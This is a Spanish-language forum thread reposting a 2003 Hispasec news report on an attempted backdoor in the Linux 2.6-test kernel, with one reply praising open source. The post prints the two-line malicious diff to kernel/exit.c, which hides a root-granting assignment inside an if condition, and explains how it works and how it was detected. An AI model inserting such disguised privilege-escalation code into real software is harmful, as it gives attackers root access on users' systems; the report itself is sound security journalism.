Resultados 1 al 2 de 2

Tema: Intento de instalar una puerta trasera en el kernel Linux

  1. #1 Intento de instalar una puerta trasera en el kernel Linux 
    Iniciado
    Fecha de ingreso
    Nov 2003
    Mensajes
    3
    Descargas
    0
    Uploads
    0
    Un análisis rutinario automático del código fuente de la última versión
    del kernel Linux (2.6-test) descubre el intento de implantar una puerta
    trasera en dicho sistema operativo.

    Linux es un sistema operativo Open Source en boga, cuya popularidad
    crece día a día.

    La última versión del kernel Linux (2.6 test), aún en desarrollo,
    experimentó un intento de implantarle una puerta trasera, que permitiría
    a un atacante local obtener privilegios de administrador o "root" con
    la ejecución de una función aparentemente inocua y de uso normal.

    El fichero alterado fue "kernel/exit.c", y constaba de apenas dos líneas
    de código fuente:

    >>>>>
    --- GOOD 2003-11-05 13:46:44.000000000 -0800
    +++ BAD 2003-11-05 13:46:53.000000000 -0800
    @@ -1111,6 +1111,8 @@
    schedule();
    goto repeat;
    }
    + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    + retval = -EINVAL;
    retval = -ECHILD;
    end_wait4:
    current->state = TASK_RUNNING;


    <<<<<

    La puerta trasera, muy inteligente, explota el hecho de que el lenguaje
    de programación C permite asignaciones en lugares insospechados, como
    dentro de una sentencia "if". El efecto neto de este cambio sería
    obtener privilegios de administrador o "root" si se invoca la función
    "sys_wait4()" con los parámetros apropiados ("__WCLONE" y "__WALL"). A
    la vista del cambio, el atacante ha mostrado cierta destreza para lograr
    que el código no sea patentemente malicioso.

    El cambio se realizó en la réplica CVS que reside en el servidor
    "kernel.bkbits.net". Dicha réplica se obtiene automáticamente a través
    de los fuentes oficiales de Linux, gestionados mediante la herramienta
    "BitKeeper". La alteración afectó a la réplica, no a los fuentes
    originales.

    Aunque el cambio fue detectado de forma automática por la
    herramientas de exportación BitKeeper->CVS, el incidente servirá como
    llamada de atención y para desplegar nuevas tecnologías, como el
    requerir una firma digital autorizada para poder realizar cambios en el
    kernel. Dado que la exportación BitKeeper->CVS se realiza de forma
    diaria, el fichero alterado se detectó y eliminó en menos de 24 horas.

    Para los usuarios de entornos Linux, el mejor consejo que se puede dar
    es descargar las actualizaciones desde fuentes de confianza y verificar,
    si existen, sus firmas digitales.


    fuente: hispasec
    Última edición por rasha; 23-11-2003 a las 00:18
    Citar  
     

  2. #2  
    Moderador HH
    Fecha de ingreso
    Mar 2003
    Ubicación
    Galiza
    Mensajes
    3.917
    Descargas
    8
    Uploads
    1
    Otra ventaja del open source, si alguien intenta controlarte, lo sabes o lo descubres tu u otro que entienda el codigo, a saber cuantas cosillas de esas esisten en windows si que nadie lo sepa.
    Un Saludo
    Citar  
     

Temas similares

  1. Encontrada puerta trasera en routers D-Link
    Por LUK en el foro VULNERABILIDADES
    Respuestas: 0
    Último mensaje: 17-10-2013, 10:37
  2. Kernel Linux 2.6.38 liberado
    Por clarinetista en el foro LINUX - MAC - OTROS
    Respuestas: 0
    Último mensaje: 18-03-2011, 01:13
  3. Respuestas: 0
    Último mensaje: 10-02-2004, 17:00
  4. Respuestas: 0
    Último mensaje: 11-10-2003, 01:39
  5. Abrir una puerta trasera en un sistema Linux?
    Por windows en el foro INTRUSION
    Respuestas: 9
    Último mensaje: 25-06-2003, 01:38

Marcadores

Marcadores

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •